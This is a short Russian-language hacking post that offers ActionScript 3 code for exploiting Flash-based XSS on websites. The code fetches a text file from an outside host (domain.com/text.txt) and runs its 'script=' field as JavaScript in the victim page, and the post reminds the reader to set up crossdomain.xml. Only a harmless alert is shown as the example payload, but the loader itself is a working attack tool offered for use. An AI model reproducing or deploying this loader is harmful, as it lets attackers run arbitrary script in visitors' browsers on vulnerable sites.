Все мы любим XSS. В некоторых случаях есть на сайтах уязвимости, связанные с флэшем, что нам на руку. Привожу код на AS3, код исполняемого javascript берется со стороннего сайта(не забудте про crossdomain.xml). Код js в текстовом файле должен идти поле ‘script=’.
import flash.external.*;
import flash.events.*;
import flash.net.*;
if (ExternalInterface.available)
{
var ldr:URLLoader = new URLLoader();
ldr.dataFormat = URLLoaderDataFormat.VARIABLES;
ldr.addEventListener( Event.COMPLETE, handleComplete );
function handleComplete( event:Event ):void {
var loader:URLLoader = URLLoader( event.target );
trace( "Text = " + loader.data.script);
navigateToURL( new URLRequest("javascript:"+loader.data.script), "_self");
}
ldr.load( new URLRequest( "http://domain.com/text.txt" ) );
}
stop();
Пример текстового файла:
script=alert('Hello world!');